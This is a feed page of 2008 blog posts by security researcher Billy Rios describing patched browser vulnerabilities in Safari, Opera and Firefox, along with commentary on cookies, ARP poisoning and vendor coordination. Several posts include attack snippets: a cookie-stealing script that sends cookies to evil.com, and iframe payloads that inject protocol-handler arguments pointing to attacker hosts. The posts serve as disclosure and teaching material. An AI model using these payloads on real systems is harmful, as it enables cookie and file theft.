SecurityFeed.info » Billy (BK) Rios

« Expand/Collapse

Billy (BK) Rios (10 unread)

November 19, 2008
11:07
Stealing Files with Safari
» ‎ Billy (BK) Rios

Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216). We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638). In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary. The issue starts simply enough with a victim visiting an attackers webpage. Once on the attacker’s webpage, the attacker simply loads a Java Applet. Inside of the applet is a call to getAppletContext().showDocument(URL);

getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument(). Normally, browsers will not let remote sites open new browser windows which point to local files. It seemed that Safari had some issues determining the specific “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system.

Now here is where things get interesting… Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control. There are a couple ways plant our content in a predictable location using Safari. Safari, by default has a reasonably predictable location for cached/temporary files. We can use these predictable locations to load our content, we’ll have some guessing to do, but it works… Safari can also be forced to dump user controlled contents to the “c:temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy. I’m not sure if Apple considers the “c:temp” issue a bug, but just in case they do I won’t go over the details for the “c:temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted. We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously). The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system. You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system. Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.

Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and any subdirectories).

Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server. There you go… Stealing Files with Safari!
10:28
Pwnichiwa from PacSec!
» ‎ Billy (BK) Rios

WOW, it’s been a busy couple of weeks! I was in Tokyo last week for PacSec. PacSec was a great time, there were some GREAT talks, and Dragos knows how to party! I co-presented a talk entitled “Cross-Domain Leakiness: Divulging Sensitive Information and Attacking SSL Sessions” with Chris Evans from Google. I’m curious if this was the first time in history a Google Guy and a Microsoft Guy got on stage together and talked about security… Anyway, you can find the slides here:

Chris is a super smart guy and demo’d a ton of browser bugs, most of which he will eventually discuss on his blog (which you should check out). I had a chance to demo a few bugs and went over some techniques to steal Secure Cookies over SSL connections for popular sites. Now, before I get into the details of the Safari File Stealing bug that was recently patched (provided in the next post) I did want to talk a bit about WebKit.

<WARNING Non-Technical Content Follows!>

You were warned! Some friends and I have been playing around with Safari (we’ve got a couple bugs in the pipeline). As everyone knows, Safari is based on the WebKit browser engine. I think WebKit is a great browser engine and apparently so does Google because they use it for their Google Chrome. So, once I discover and report a vulnerability in Safari for the Windows, Apple must also check Safari for Mac, and Safari Mobile for iPhone. Additionally, “someone” should probably let Google know as their Chrome browser also takes a dependency on WebKit. Now, who is this “someone”? Is it the researcher? Is it Apple? Does the researcher have a responsibility to check to ensure this vulnerability doesn’t affect Chrome? Does Apple have a responsibility to give Google the details of a vulnerability reported to them? Our situation works today because we’ve got great people working for Apple and Google (like Aaron and Chris) who have the means to cooperate and work for the greater good. However, as security moves higher and higher on the marketing scorecards and becomes more and more of a “competitive advantage” at what point will goodwill stop and the business sense take over?

Let’s contemplate a scenario that isn’t so black and white… Let’s say two vendors both take a dependency on WebKit. An issue is discovered, but the differences in the two browsers make it so that the implementation for the fix is different. Vendor A has a patch ready to go, Vendor B on the other hand has a more extensive problem and needs a few more days/weeks/months. Should Vendor A wait for Vendor B to complete their patch process before protecting their own customers and pushing patches for their own products?

Let’s flip the scenario… Let’s say Vendor A has a vulnerability reported to them. Vendor A determines that the issue is actually in WebKit. Vendor A contacts Vendor B and discovers that Vendor B isn’t affected… does this mean Vendor B knew about issue, fixed the issue, and didn’t tell Vendor A? Do they have a responsibility to?
October 22, 2008
10:49
House Keeping
» ‎ Billy (BK) Rios

It’s been a crazy couple weeks! Some quick housekeeping:

ChicagoCon – I’ll be in Chi-Town next week giving one of the Keynotes at ChicagoCon. If you’re going to be in the area, hit me up and we’ll grab a few drinks.

Bluehat - I’m glad to see all the young blood in the scene. It’s going to be scary to see what Kuza55 and Sirdarckcat are up to in 10/15 years (they’re already tearing stuff up as it is…). As for us old guys, we can’t drink like we used too… but we still try :) As usual, the Bluehat parties ROCKED and it was great meeting everyone. We topped off all the Bluehat debauchery with a night at the shooting range, shooting AR-15s and various handguns…

MBA - I actually took a Midterm during the WAF discussion panel at Bluehat (no wonder I was soooo quiet). Once this class is over, I’ll have 3 more classes to go and I’ll have completed my MBA! The coursework isn’t too bad, but the time commitment is pretty high. It definitely cuts into my “pwnage time” and I can’t wait till it’s all over. Don’t ask me why I need another Masters degree and don’t ask me how many times I’ve XSS’d my online class discussion forums. I promise to practice responsible disclosure after my classes are over… but for now, its the only thing that keeps class bearable

Grey Goose - This was an AWESOME project and I’m glad Jeff Carr asked me to participate. Jeff basically assembled enough Intel brain power to rival an Intel agency of a small country. Jeff put out a couple reports and if you need more info on the project, you can find it here. I studied warfare as an Officer in the Marine Corps (Maneuver and Expeditionary) and I’m interested in anything related to cyber warfare. We’re living in a time when the tactical, operational, and strategic thinking surrounding cyber warfare is being defined. We can already see striking similarities between cyber capabilities and air power. Just as air power added a new dimension to modern warfare, so do cyber capabilities. Many typically view Computer Network Attack (CNA) and Computer Network Exploitation (CNE) as solitary events, but they can also be used in “combined arms” scenarios (much like targeted air strikes vs close air support). One day doctrine related to cyber warfare will be required reading for young military officers, just like Sun-tzu, Clausewitz, and Jomini.

Apple Pwnage – Nitesh and I reported a vulnerability to Apple (CVE-ID: CVE-2008-3638). I’ll go over the details on the blog as soon as some loose ends get tied up.

Win7 – I finally took the advice of Rob Hensing and Dave Weston and switched to Win7 as my primary OS…. So far, it absolutely ROCKS.

Great talk by a respected haxor…. – [video.google.com]
September 24, 2008
12:10
Surf Jacking Secure Cookies
» ‎ Billy (BK) Rios

I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.

Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?

Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…

If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:

<script src=”http://myanalytics.com/webbugs.js”></script>

Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):

CookiesStealer = new Image();

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;

The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.

Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.

SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…

CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.
September 15, 2008
12:02
Hostile Hotel Networks?!?!
» ‎ Billy (BK) Rios

Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I’m talking about here.

As I read the article… I couldn’t help but smile… the article made it seem like Hotels have horribly insecure networks! The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!

Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely. Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY. Take for example, Address Resolution Protocol (ARP). ARP is the one protocol that really makes me paranoid. The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.

The ARP abuses I’m most interested in are ARP Poisoning attacks. These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway. Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms). Ask yourself this question…. why would I ever join an un-trusted network and possibly subject myself to such attacks?

Surprisingly, people join un-trusted networks all time. If you’ve ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport…. you’ve joined an un-trusted network… IT’S THAT SIMPLE. Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network. Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.

Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business. Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to “get this out before my plane leaves!” If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails… everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see… and let the creds roll in. It’s that simple… trust me… I’ve seen it firsthand… I can guarantee that you’ll have someone’s creds within 5 minutes…

Security pros will argue, “you can use a VPN” and they are right. If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user? What about mom and pop, traveling on vacation… where is their VPN? Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way. Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host. Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning. It’s truly amazing how noisy our computers have become, spitting out all sorts of info… trusting that everyone else on the network is playing nicely.

Let’s say you understand the risks of MITM and you have to email something out before your plane leaves. You attempt to connect to your VPN server and you see a certificate warning. You suspect that someone may have an MITM against you using ARP Poisoning… what can you do to protect yourself and still get the email out?
September 09, 2008
12:05
Simple Lesson on Secure Cookies
» ‎ Billy (BK) Rios

I recently read a paper written by Sandro Gauci from Enable Security entitled “Surf Jacking - HTTPS will not save you”. You can find the paper here.

It’s an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.

<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim’s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>

I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective… yet we continue to struggle on wide scale implementation because we’ve taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn’t, it would break the web… but i digress.

There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a “SET-COOKIE” header, it’s merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires…etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.

I’ve set up a page on here that simply sets a cookie in the following manner:

Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE

Examining the Cookie in FireFox shows the following:

As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.

javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";

The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute… Hmmmm a tool to prevent Surf/Side Jacking attacks… I wonder what I would call it… Any ideas Nate?

After we run the Javascript, we can take another look at the Cookie info presented by Firefox:

As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We’ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.

Now, this approach does have it cons… Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked
September 04, 2008
9:05
IE8b2 XSS Filter
» ‎ Billy (BK) Rios

I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.

Thanks David and CONGRATS on the release!

Some technical details with regards to XSS-Filter can be found here.
August 22, 2008
12:41
Opera Stuff - Followup
» ‎ Billy (BK) Rios

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon… but on the show…

Opera 9.52 was released a few days ago… I hope you’ve upgraded! Working with the Opera Security Team was a pleasure. I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive.

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across. You can read the initial advisory here. Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here. Since the issue is patched and the second advisory is out, lets go over the details:

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days). We’ll use a protocol handling “aware” application to launch these attacks against Opera. Opera just has to be installed someplace on the victim’s machine for this to work.

When a user installs Opera, the following protocol hanlder is registered:

Opera.Protocol ”C:Program FilesOperaOpera.exe” “%1″

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

c:Program FilesOperaOpera.exe “Opera.Protocol://test”

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera. In the first example, we will inject the location of a local html file. When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision. The protocol handling string we use looks like this:

<iframe src = ‘opera.protocol:www.test.com” “file://c:test.html ‘>

which ends up executing the following:

c:program filesoperaopera.exe “opera.protocol:www.test.com” “file://c:test.html”

If we can somehow place an html file to a known location this would be bad. For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument. the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file. A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control: Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

<iframe src = ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

which will result in something like this:

c;program filesoperaopera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

OUCH….Thankfully… the Opera Security Team has fixed this particular issue! Kudos to them!
July 21, 2008
11:54
A Look at MFSA 2008-35
» ‎ Billy (BK) Rios
As promised… a quick look at MFSA2008-35:

When FireFox is installed, it registers the following protocol handlers:
- Gopher://
- FirefoxURL://
Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

Both of these protocol handlers point to Firefox.exe in the following manner:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “%1″
When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above. For example, gopher://test will result in the following:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “gopher://test“
Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument. Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler. When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line. So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed. This is done in the following manner:
- gopher:test|file:c:/path/filename
- gopher:test|chrome://browser/content/browser.xul
Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank. This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location. There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example. When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop. This gives us a semi known location, as we’ll have to guess the username. We can send a LOT of guesses for username as demonstrated below.
- <html><body><iframe src=”gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3….>
There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop. Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content. When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system).

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision.

On a side note, IE warns users when active script is about to be run from the local file system. I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that. This is a great security decision on behalf of IE.

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox). Both vendors did what was right and adjusted the behavior of their software. Thanks Mozilla and Apple!

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions. In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software. From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat… I’m looking forward to the talk!
July 17, 2008
11:26
FireFox Vulns - MFSA 2008-35
» ‎ Billy (BK) Rios

Mozilla issued a patch related to an issue I recently reported to them. The MFSA with details on the issue can be found here. It’s an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors. This particular issue makes use of one of my favorite attack vectors, protocol handlers. The protocol handlers involved in this situation create an opportunity to pass “a command-line URI with the pipe symbols” from a remote webpage to FireFox.exe. For those that are interested, I’ll provide a small writeup on the issue this weekend. For those waiting, I’ll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

It’s a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities… and I use the term “reported” loosely :). Nate and I have changed over the past year… we’re both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue. It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes. Thanks guys! I’ll buy the beers in Vegas!

← David LeBlanc's Web Log David Litchfield's blog →

SecurityFeed.info » Billy (BK) Rios

Feeds

Billy (BK) Rios (10 unread)